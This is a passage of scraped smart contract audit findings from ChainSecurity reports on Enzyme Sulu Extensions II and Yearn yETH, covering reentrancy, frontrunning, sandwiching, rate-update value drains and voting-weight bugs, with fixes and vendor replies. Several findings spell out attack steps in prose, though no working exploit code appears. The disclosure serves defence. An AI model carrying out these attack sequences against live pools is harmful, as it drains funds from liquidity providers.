returns and nothing happens since the checkpointed balance is equal to the balance. No event is emitted. 6. The attacking contract claims his claimable amount. Totally, the attacking contract has claimed 75 instead of 50 reward tokens. Ultimately, accounting issues occur since there are less rewards available than expected. Also, some user will potentially not be able to withdraw their LP tokens due to impossible transfers. Avantgarde Finance - Sulu Extensions II - 11 CriticalHighMediumLowCodeCorrectedSecurityLowVersion1CodeCorrected \fEven though we specify reward tokens to be regular ERC-20 tokens, it could be possible that, since the future is unforeseeable, ERC-777 tokens could be added as rewards, which would open up such attack vectors. Hence, the underlying issue is that the Checks-Effect-Interaction design pattern is not followed. The nonReentrant modifier was added to _transfer. Hence, all entrypoints that perform checkpointing are protected from reentrancy. Additionally, all checkpointing variables were made private. Hence, more derived contracts are protected from reentrancy attack vectors modifying checkpointing state. Avantgarde Finance - Sulu Extensions II - 12 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-ii/"}, {"title": "5.1 Circumvention of Ramping", "body": " The management account of Pool can initiate a change of asset weights or the amplification factor for a pool. The change should be applied slowly to minimize profits from sandwiching attacks, see Sandwiching Curve changes. However, the function add_asset allows the management to modify (reduce) the weights of assets and the amplification factor by avoiding the ramping limitations entirely. The natspec description of the function notes: @dev Every other asset will have their weight reduced pro rata @dev Caller should assure that effective amplification before and after call are the same Code partially corrected: The function add_asset now sets an upper limit of 1% on the initial weight of the new asset being added to the pool. Although this reduces the likelihood of accidentally changing the weights of assets Yearn - Yearn yETH - 11 SecurityDesignCorrectnessCriticalHighMediumCodePartiallyCorrectedLowAcknowledgedAcknowledgedCodePartiallyCorrectedAcknowledgedCodePartiallyCorrectedRiskAcceptedRiskAcceptedAcknowledgedAcknowledgedDesignMediumVersion1CodePartiallyCorrected \fsignificantly, it does not enforce any restriction on the amplification factor (_amplification represents the term A * f^n in the whitepaper). Therefore, management should consider sandwiching attacks when calling this function and carefully choose input parameters. The response of Yearn is: Added a limit to the new asset weight, it is not allowed to exceed 1%. Since the `amplification` in the pool represents 'A * f^n', we cannot easily put bounds on the amplification factor. It is up to the management role to make sure the call cannot be sandwiched, either by picking a new amplification factor and initial weight (even lower than 1%) that minimises the effect or by first pausing the pool and in a separate call add the asset before unpausing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.2 Decreasing Pool Value Through Rate Updates", "body": " Big rate updates might drain value from the pool. Assuming a swap_fee of 0.3%, then a rate update of 1% (e.g. from 1.00 -> 1.01) seems already too big. Generally, it seems that any rate change twice as big as the swap_fee (so any rate change >= 0.6% for a swap_fee of 0.3%) leads to this issue. We provide an example with three assets. In the beginning, everything is balanced and the rates are all ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "1.00. Now, the pool can lose value in the following way:", "body": " The price of asset 2 in the market rises from 1.00 -> 1.01 Assuming an efficient market, trades happen inside the pool which imbalance the pool so that get_dy(2, 0, 10**18) == get_dy(2, 1, 10**18) == 1.01 * 10**18. (If such trades do not happen an attacker can front-run the rate update with such trades.) Here the pool is selling asset 2 too cheaply. Now the rate update is performed, setting the rate of asset 2 from 1.00 -> 1.01. As a consequence, (and asset 2 => asset 0), will now go to roughly 1.02. The pool is paying too much to obtain asset 2. from asset 2 => asset 1 the pool's exchange rate Therefore an attacker trail-runs the rate update and sells asset 2 to the pool. Eventually, the price of asset 2 goes back down from 1.01 -> 1.00. Again trades happen which change the balance of the pool so that it has a 1:1 exchange ratio between the assets. Here the attacker or others sell asset 2 to the pool. Now the rate update is performed, setting the rate of asset 2 from 1.01 -> 1.00. As a consequence, the pool's exchange rate is so that asset 2 can be bought too cheaply. Hence, the attacker buys asset 2 cheaply. After all, trades are settled, the pool has fewer funds than at the beginning. In this example, they might have lost 0.3% of value. As a consequence, the balance in the Staking contract is now smaller, even though all prices are the same as in the beginning. Generally, the significance of this issue depends on different parameters, like number of assets, weights and amplification factor. In some configurations, it will be more severe than in others. A combination of smaller, parallel rate updates for different assets might also be problematic. Acknowledged Yearn is aware of the issue and acknowledges it. They will take care to mitigate it by only using high-quality rate providers that return the backing rate on the beacon chain which they assume will not fluctuate much to be an issue. Additionally, these oracles are assumed to be not influenced by the market. Yearn emphasized that every oracle will be rigorously tested and simulated before being used. Yearn - Yearn yETH - 12 DesignLowVersion1Acknowledged \f5.3 Guardian Can Front-Run Kill Command The guardian role in contract Pool can set or unset the paused flag, while only management can set the flag killed to true. For the function kill to execute successfully, the flag paused should be true. Therefore, guardian can prevent the execution of function kill by frontrunning the transaction with a call to function unpause. Acknowledged: Yearn acknowledges the risk of frontrunning and accepts the consequences of the attack with the following reasoning: \"In the unlikely case the guardian decides to grief by front-running such a call, management has the option to replace the guardian\". We want to note that the replacement of the guardian can also be front-run by the guardian as set_guardian can be called by both roles. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.4 Implementation Mismatch With ERC-4626", "body": " The contract Staking implements the external functions specified in the standard ERC4626. The implementation of functions maxWithdraw and maxRedeem is not in line with the standard. Both functions return max_value(uint256), but the standard for maxWithdraw (similarly for maxRedeem) states: MUST return the maximum amount of assets that could be transferred from ``owner`` through ``withdraw`` and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). MUST factor in both global and user-specific limits, like if withdrawals are entirely disabled (even temporarily) it MUST return 0. Code partially corrected: Both functions have been updated in can be withdrawn or redeemed by address _owner. to return the maximum amount of assets or shares that However, the special case when totalSupply cannot be less than MINIMUM_INITIAL_DEPOSIT is not handled correctly. Therefore, it is possible that both functions maxWithdraw and maxRedeem return non-zero values, while the respective functions withdraw and redeem could revert, which violates the standard. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.5 Inefficient Initial Approximation Value for Pi in", "body": " Supply Calculation Yearn - Yearn yETH - 13 SecurityLowVersion1AcknowledgedCorrectnessLowVersion1CodePartiallyCorrectedVersion3DesignLowVersion1Acknowledged \fWhen a rate change or balance change occurs, the starting value for pi (vb product), to later approximate the supply, is: vb_prod * self._pow_up(prev_rate * PRECISION / rate, wn) / PRECISION or vb_prod_final * self._pow_up(prev_vb * PRECISION / vb, wn) / PRECISION The result of this calculation is then passed into _calc_supply. In _calc_supply an iterative method is used to approximate the correct supply. Starting with the result as the first guess for r in: r = unsafe_div(unsafe_mul(r, sp), s) The initial guess seems inefficient and almost always dominated by the old value for pi as starting value. Acknowledged: Yearn replied: The value for pi needs to be updated somewhere before or during the iteration process, as otherwise the supply will not converge to the correct value. It might be possible to save on iterations by updating pi to the correct value after the first iteration, but such a change would significantly complicate the function and as such is deemed not worth it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.6 Missing Sanity Checks", "body": " The following functions update important state variables but do not perform any sanity check on inputs. Staking contract: 1. _asset in function __init__. 2. _fee_rate in function set_performance_fee_rate. 3. _management in function set_management. 4. _treasury in function set_treasury. 5. 6. Pool contract: : If _value is larger than current allowance, an underflow happens. : _spender in functions that modify allowance. 7. _assets in function __init__ can include duplicate. 8. _duration in function set_ramp can be 0. 9. _rate_provider in function set_rate_provider. 10. _staking in function set_staking. 11. _guardian in function set_guardian. 12. _management in function set_management. Yearn - Yearn yETH - 14 DesignLowVersion1CodePartiallyCorrectedVersion2Version2 \fCode partially corrected: Missing sanity checks reported in the Staking contract have been added. Additionally, the same checks were applied in the Token contract. In the Pool contract sanity checks for points 10 and 12 were added. The sanity check for _guardian (point 11) is intentionally left out to allow for flexibility of burning the role in the future. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.7 Possible to Frontrun the First Deposit in Pool", "body": " The first liquidity provider in a pool does not pay any fee. Other liquidity providers do not pay a fee only if they deposit tokens in the same ratio as the current state of the pool. If a user adds liquidity into a pool in an unbalanced manner (e.g., single token or with different ratios from the current state), a fee is payed. An attacker can frontrun the first deposit to add tokens in a pool in a wrong ratio such that the victim user pays high fees. The fees are sent to the Staking contract and can be claimed after a delay by users that have staked their yETH. The profits of the attacker depend on the amount of tokens deposited by the victim and the share of yETH staked by the attacker at the time rewards (includes fee) move to unlocked bucket in Staking contract. Risk accepted: Yearn replied: This is acceptable behaviour, and can be mitigated by setting a very tight value for the minimum amount of tokens received for the initial deposit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.8 Possible to Update Ramp Step While Ramping", "body": " The function set_ramp_step sets a new ramp_step without checking if there is currently an active ramp. Raising ramp_step while there is an active ramp increases the risks of sandwiching attacks (see Sandwiching Curve changes) as the _duration of ramping remains the same. Risk accepted: Yearn replied: We\u2019d like to retain the option to increase the step size, even during a ramp. However, management should take care not to increase it to such a degree that it affects the sandwich risk in a significant way. This is in line with the responsibilities the management account already has. It has the ability to set the duration of a ramp, which suffers from the same consequences if not set properly Yearn - Yearn yETH - 15 DesignLowVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \f5.9 Violation of Sum of Weights The trading curve is defined by a function that assumes that the sum of all weights in a pool equals PRECISION (100%). However, this invariant does not apply always as the weights of assets change when: i) adding a new asset, ii) updating weights in a ramp. Therefore, it is possible that these dynamic changes of weights break the invariant due to rounding errors. For instance, current is rounded down in the following code: if current > target: current = current - (current - target) * span / duration else: current = current + (target - current) * span / duration Acknowledged: Yearn acknowledges the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.10 Voting Weight Increase Differs for New and", "body": " Existing Positions Transferring shares to a position increases the voting weight of the receiving position. For the same amount of shares transferred, the new voting weight depends on the existing state of the receiver, namely variable Weight.t. The picture below plots voting power where x-axis is the time and y-axis is the voting weight. The blue line illustrates a position that has staked 25 shares for a long time. If this position receives 25 more shares, its voting power will change over time as shown by the red dashed line. However, if 25 shares are sent to a new position, its voting weight increases according to the violet dashed line. The green line shows the difference on the voting weight after new tokens are received between an existing position (red dashed line) versus existing position and new position that receives tokens (blue line and violet dashed line). The plot suggests that receiving shares in new positions instead of existing ones maximizes the voting weight of a party. Acknowledged: Yearn - Yearn yETH - 16 CorrectnessLowVersion1AcknowledgedCorrectnessLowVersion1Acknowledged \fYearn replied: This is an acceptable side effect of our choice to have a asymptotically increasing weight function. Yearn - Yearn yETH - 17 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 5 10 -Severity Findings -Severity Findings -Severity Findings Incorrect Computation of Product Term Missing Transfer of Tokens When Adding New Assets Pool Might End up With Less Shares Than MINIMUM_INITIAL_DEPOSIT Share Distribution Depends on First Deposit Wrong Calculation of Voting Weight for Withdrawn Shares -Severity Findings Approve Can Be Frontrun Default Target Weight Incomplete Specifications for Paused Pool Inconsistent Behavior of Conversion Function Mismatch of Code With the Specification for Pending Rewards Missing Slippage Protection When Adding New Asset No Meaningful Revert Messages Possible to Lock Management Role Types of Variables in Weight Unused Event in Staking ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.1 Incorrect Computation of Product Term", "body": " The product term pi in the whitepaper depends on D, w_i and x_i. The function _calc_vb_prod takes as input _s which is the sum of tokens in the Pool and is different from D if the pool is not at equilibrium point. This issue was found by Yearn also while the review was ongoing. function _update_weights has been updated The _calc_vb_prod as follows: to pass supply when calling function Yearn - Yearn yETH - 18 CriticalHighMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1CodeCorrected \fsupply: uint256 = self.supply if supply > 0: vb_prod = self._calc_vb_prod(supply) Furthermore, the function _calc_vb_prod_sum, which is called on first deposit or when adding a new asset, is revised to not take _s (sum term) as an input parameter. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.2 Missing Transfer of Tokens When Adding New", "body": " Assets Function add_asset can be called only by management which is trusted to behave correctly in the contract Pool. The parameter _amount in function add_asset is the amount of tokens that are deposited into the Pool when the new asset is added. However, the code does not pull the funds from an external account (if approved) or check that the Pool has already the required balance (if already transferred). The issue has been resolved by adding the code in function add_asset that pulls the respective tokens from msg.sender: assert ERC20(_asset).transferFrom(msg.sender, self, _amount, default_return_value=True) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.3 Pool Might End up With Less Shares Than ", "body": " MINIMUM_INITIAL_DEPOSIT The new MINIMUM_INITIAL_DEPOSIT amount does not mitigate that a user manipulates the share amount to be very low before another user deposits or rewards are accounted. A malicious user might deposit MINIMUM_INITIAL_DEPOSIT tokens but could immediately call redeem in such a way that they end up with one remaining share. This breaks the assumption that the pool always has a minimum amount of assets, which could have unintended side effects. The internal function _withdraw has been updated in to enforce that totalSupply in the contract Staking is either 0 or larger than MINIMUM_INITIAL_DEPOSIT. This restriction is implemented in the following code: if total_shares < MINIMUM_INITIAL_DEPOSIT: assert total_shares == 0 Yearn - Yearn yETH - 19 CorrectnessMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrectedVersion3 \f6.4 Share Distribution Depends on First Deposit The user's shares when depositing an amount of yETH are calculated as: _assets * _total_shares / _total_assets However, in the case of the first deposit, the number of assets deposited is the number of shares the user receives. In case a user deposits a very small amount (at best 1 WEI), they would receive 1 share. When the total assets increase because profits are made, the fraction _total_shares / _total_assets will become 0 for amounts smaller than _total_assets. Additionally, when adding assets, they need to be multiples of _total_assets. Hence, the first deposit determines the minimum step size or rounding error for the following deposits. The was independently reported by Yearn while the review was ongoing. implemented a practical Yearn specifying a minimum deposit amount MINIMUM_INITIAL_DEPOSIT of 1e15 which makes the attack unlikely in practice. However, we would like to highlight that the core issue is still present even with this practical mitigation. The issue arises only in case of a high discrepancy between the first deposit and the potential rewards which now should be higher by a factor of 1e15. solution by ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.5 Wrong Calculation of Voting Weight for", "body": " Withdrawn Shares By depositing yETH into the Staking contract, users gain voting power that continuously increases over time. The voting power depends on the amount of shares a user has and the time they have been for a user: weights and deposited previous_weights. weights track the latest state of a position, while previous_weight stores the state of the position in the week before latest changes. the contract. The contract stores two checkpoints in The function vote_weight should consider previous_weights when the position is updated on the ongoing week. However, the code checks for two conditions as follows: if weight.week > week or weight.week == 0: weight = self.previous_weights[_account] The second condition is true for users that have withdrawn or transferred out all their shares. In this case, the code still considers their previous_weights and incorrectly computes a voting power based on the state of the position before its shares were removed. This can be exploited by attackers to create positions that gain voting power, and then move shares to a new position. This issue was uncovered by Yearn also while the review was ongoing. Code partially corrected: : The internal function _update_account_shares has been revised to reset only field t when an account withdraws all of its shares: Yearn - Yearn yETH - 20 CorrectnessMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrectedVersion2 \fif shares == 0: t = 0 last_shares = 0 The function vote_weight checks if the position of an account has been updated on the ongoing week as follows: if week > current_week or week == 0: packed_weight = self.previous_packed_weights[_account] The second condition week == 0 is true only for empty accounts, which should have a voting weight of 0 and there is no need to consider their previous state. : The unnecessary check week == 0 has been removed from function vote_weight. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.6 Approve Can Be Frontrun", "body": " The function approve in Staking contract is vulnerable to frontrunning attacks. The function approve always overwrites the current value without checking if the allowance has been consumed or not. Assume a scenario where Alice provides an allowance of value X to a spender. Then, she decides to change the allowance to a value Y. The spender can front-run the second transaction, spend X, and then spend the new allowance Y also. This attack vector and possible mitigations are discussed in EIP20. increaseAllowance and decreaseAllowance functions were added. These functions are similar to approve function, but they do not overwrite the current value. Instead, they increase or decrease the current value with a given delta. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.7 Default Target Weight", "body": " The function weight in contract Pool returns 0 as the default target weight when no ramp is active: if self.ramp_last_time == 0: target = 0 Furthermore, the function add_asset does not set 0 as target weight although no ramp is active. The external function weight has been updated to return the current weight of an asset in the pool when there is no active ramp. Yearn - Yearn yETH - 21 Version3SecurityLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.8 Incomplete Specifications for Paused Pool When a pool is paused no swaps can be executed. Furthermore, rate providers cannot be updated while the pool is in this state as _update_rates reverts. Specifications do not describe these behaviors. The following functions cannot be executed when a pool is paused: update_rates update_weights set_ramp swap swap_exact_out add_liquidity remove_liquidity_single set_rate_provider Specifications changed: The specifications regarding pause mode have been extended in file specification.md. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.9 Inconsistent Behavior of Conversion Function", "body": " External view functions convertToShares and convertToAssets return the input value, _assets and _shares respectively, when total_assets is 0. However, on the same conditions (`` _total_assets == 0``) both internal functions _preview_deposit and _preview_mint return 0. Therefore, depositing and minting in this scenario reverts. Yearn corrected the code and both external functions are now in line with the internal ones. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.10 Mismatch of Code With the Specification for", "body": " Pending Rewards The specifications of the contract Staking state: If the balance has increased, it is added to the pending bucket. If one or more week has been missed, the increase is distributed instead over the three buckets fairly. However, the function _get_amounts adds rewards to the streaming bucket if it is called on the first day of a new week: Yearn - Yearn yETH - 22 CorrectnessLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \fif weeks == 1 and block.timestamp % WEEK_LENGTH <= DAY_LENGTH: streaming += rewards Specification changed: Yearn added a more concise specification for this scenario: If the first update of the week is in the first day, it is added to the streaming bucket directly instead. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.11 Missing Slippage Protection When Adding", "body": " New Asset The management can add a new asset into a Pool by calling the function add_asset. The caller should send _amount tokens of the new asset to the pool, which increases the overall value of the Pool. The function mints the difference in the total supply (supply - prev_supply) as LP tokens to the address _receiver, however no slippage protection is implemented. The function add_asset has been revised to take an additional argument _min_lp_amount as input and now explicitly asserts that supply has strictly increased and the caller receives more LP shares than _min_lp_amount: ... assert supply > prev_supply lp_amount: uint256 = unsafe_sub(supply, prev_supply) assert lp_amount >= _min_lp_amount PoolToken(token).mint(_receiver, lp_amount) ... ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.12 No Meaningful Revert Messages", "body": " Reverts could emit meaningful messages to provide the reason for failed calls. The downside of informing users accordingly is the slightly increased gas costs. Hence, Yearn needs to evaluate if a meaningful revert message should be returned. Yearn added selected revert messages. Yearn - Yearn yETH - 23 SecurityLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.13 Possible to Lock Management Role Both contracts Staking and Pool implement the function set_management that allows the existing management account to set a new management address. As management is responsible for setting multiple parameters of contracts, measures should be taken to avoid mistakes when updating it. Besides sanity checks, the update of critical roles that cannot be recovered should follow the set/accept approach. Both functions were changed to a commit/accept scheme with two functions set_management and accept_management. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.14 Types of Variables in Weight", "body": " The types uint16, uint56 and uint128 are used for variables of struct Weight. Together these values fit in a storage slot (256 bits). However, Vyper does not optimize storage used by packing together variables that fit in 32 bytes. As each value is stored in a separate storage slot, EVM uses additional operations to convert the value from 32 bytes to the correct type. Yearn added a custom way to pack the variables in a single storage slot for the variables: previous_packed_weights and packed_weights. This optimization on the storage comes with slighly added gas costs on execution due to packing and unpacking of variables in a single storage slot. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.15 Unused Event in Staking", "body": " The event SetMinter in the contract Staking is not used. The unused event has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.16 Functions Return True Always", "body": " The natspec description for the return value of functions transfer and transferFrom states: @return Flag indicating whether the transfer was successful Both functions return only True, otherwise they revert. Yearn - Yearn yETH - 24 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f The natspec description for the return value has been updated: @return True. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.17 Missing Natespec", "body": " A majority of the critical logic is implemented in internal functions. In-line documentation and proper natspec for all functions can significantly improve code readability to understand correctly the intended behavior of the code. Natspec was added to all functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.18 Possible to Index Event Parameters", "body": " It is recommended to index the relevant event parameters to allow integrators and dApps to quickly search for these and simplify UIs. We would like to highlight that asset could be indexed in the respective events. The parameter asset SetWeightBand. is now indexed in events Swap, RemoveLiquiditySingle and ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.19 Possible to Mark Functions as View", "body": " Functions virtual_balance and rate in Pool do not modify the state and can be marked as view. Both functions have been marked as view functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.20 Redundant Code in _Calc_Supply", "body": " The code inside if/else branches in the function _calc_supply is redundant and could be removed if the delta between values s and sp is computed first. Yearn - Yearn yETH - 25 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f The function _calc_supply has been revised to avoid the redundant code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.21 Return Values When Removing Liquidity", "body": " The function remove_liquidity_single returns dx which is the amount of tokens being withdrawn for the target asset. However, the function remove_liquidity does not return any value. Specification provided: Yearn informed ChainSecurity that this was done intentionally as a gas saving measure, as otherwise it would need to construct and return an array of up to 32 values of type uint256. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "6.22 Transfers of 0 Values Revert in Staking", "body": " Both functions transfer and transferFrom check that value being transferred is non-zero (assert _value > 0). This behavior is not in line with EIP20 which has the following note: Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event. Yearn changed the code to allow zero value transfers. Yearn - Yearn yETH - 26 InformationalVersion1Speci\ufb01cationChangedInformationalVersion1CodeCorrected \f7 Open Questions Here, we list open questions that came up during the assessment and that we would like to clarify to ensure that no important information is missing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "7.1 Adding New Assets When Paused", "body": " The function add_asset does not check if the pool has been paused when adding a new asset. Is this behavior intentional? ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "7.2 Approval Events on transferFrom", "body": " The Staking.transferFrom function does not emit any event regarding the approval change. Thus, it is not possible to recover state based on Approval+Transfer events. While this is compliant with ERC4626/ERC20 specification, some libraries like OpenZeppelin, emit explicit Approval event during the transferFrom. On the other hand, DAI token does not emit such event. We would like to bring this detail to your attention and know if it is as expected in your case. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "7.3 Total Assets Can Be 0", "body": " Both functions _preview_deposit and _preview_mint check if _total_assets == 0 although _total_shares are non-zero. Can you please describe the scenarios when this happens? Yearn - Yearn yETH - 27 OpenQuestionVersion1OpenQuestionVersion1OpenQuestionVersion1 \f8 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "8.1 Extracting Value From First Deposit in Pool", "body": " The attacks based on strategies that artificially inflate the value of LP shares in Pool are unlikely to succeed due to the way how rewards (donations) are tracked in different buckets. Nevertheless, it is theoretically possible for an attacker to extract value from the first depositor if certain conditions hold before first deposit, e.g., significant rewards are ready to be moved to unlocked bucket. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "8.2 Incomplete Natspec", "body": " The natspec description for the return value of function update_weights is incomplete. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "8.3 Missing Events in Staking Contract", "body": " Functions rescue, set_half_time, set_management and set_treasury in contract Staking update the state, but no event is emitted. Code partially corrected: The respective events in the functions listed above were added except function rescue, which still does not emit an event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "8.4 Preview Functions Round in Favor of Users", "body": " The functions _preview_withdraw is used to calculate the number of shares a user needs to pay for withdrawing a given amount of assets. The calculation rounds in favor of the user. This means the user needs to pay slightly less shares for the respective assets. Hence, reducing the value of all shares. The same issue is also present in _preview_mint. The magnitude of the rounding error depends on the share-to-assets ratio. This violates the invariant that the share value can only go down by incurred losses. Still, the impact should be limited and the issue is mainly theoretical. Yearn - Yearn yETH - 28 InformationalVersion2InformationalVersion1InformationalVersion1CodePartiallyCorrectedInformationalVersion2 \f8.5 Theoretical Underflow in _Get_Amounts The function Staking._get_amounts can theoretically underflow when the shortage is higher than the sum of all tokens accounted in the buckets. The underflow happens in the statement unlocked -= shortage. However, practically this should not happen as the loss cannot be larger than the balance of Staking contract in yETH. Yearn - Yearn yETH - 29 InformationalVersion1 \f9 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.1 Assets Cannot Be Removed From Pool", "body": " Contract Pool implements the function add_asset that allows the management account to add new assets into the Pool, up to a total of 32 assets. We highlight that the contract does not implement a functionality to remove an asset from a Pool. Therefore, the asset removal requires a redeployment of the contract, which forces all LPs to withdraw their liquidity from the old Pool and deposit into the new one. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.2 Assumption on Balance of Staking", "body": " The internal function _update_supply is called when key functionalities of the contract Pool are performed. Based on the activity of the Pool LP tokens are minted to the staking (if supply increases), or LP tokens are burned from the staking (if supply decreases). The implementation of the function assumes that the staking contract has always enough balance in yETH to cover the losses of the pool such that the burning of LP tokens will always succeed. Yearn is aware that after deployment or in certain conditions (e.g., no staked tokens) this assumption might not hold, and extra measures need to be taken for the function to work as intended. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.3 Buckets Can Be Updated at Most Once per", "body": " Block The function _get_amounts returns the current state if the buckets have already been updated in the same block: if updated == block.timestamp: return self.pending, self.streaming, self.unlocked, 0, 0 If the Staking contract receives rewards in a block, after function _update_totals has already been called, the pending and streaming buckets do not get updated. Note that, the unlocked bucket is always updated when users stake or unstake their yETH tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.4 Charged Fees Are Unclear", "body": " The function add_liquidity charges fees depending on the differences between deposited amounts and the current state of the pool. The larger the delta, the higher the fees. However, it is not easy for a Yearn - Yearn yETH - 30 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fliquidity provider to know the actual fees payed. Similarly, the function remove_liquidity_single charges fees but it is not explicit to the caller. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.5 Decay of Voting Weight on Transfers", "body": " Voting weight is computed by a asymptotic function that depends on the amount of shares and the time they have been staked. The variable Weight.t is adjusted (lowered) when a position receives new shares such that the voting weight before and after the transfer remains the same. However, when transferring out tokens the variable Weight.t is not modified. The side effect of this behavior is that if a position with a voting weight v1 receives x shares and then transfers out the same amount x shares, ends up with a lower voting weight v2 (v2 < v1) although the number of staked shares has not changed. Furthermore, transfers also affect the global voting weight as transfers decrease voting weight of individual positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.6 Large Ratio Drops for an Asset Break Pool", "body": " Composition Pool implements a safety mechanism to ensure that the portfolio composition of underlying assets is according to specified parameters. Each asset in the Pool has a target weight (a range) associated with it. User operations, like swap, deposit, or withdraw, that change the asset balances in the Pool are permitted only if they do not move the actual weights of the involved assets outside the specified ranges. However, the Pool composition changes also when updating rates as asset balances change. The safety mechanism is not enforced in such changes of Pool composition. While the mechanism of safety bands helps to maintain the desired composition of the Pool when all assets have a backing ratio as expected (around 1 ETH), they do no limit the value loss of the Pool when the ratio of one asset drops significantly (e.g., 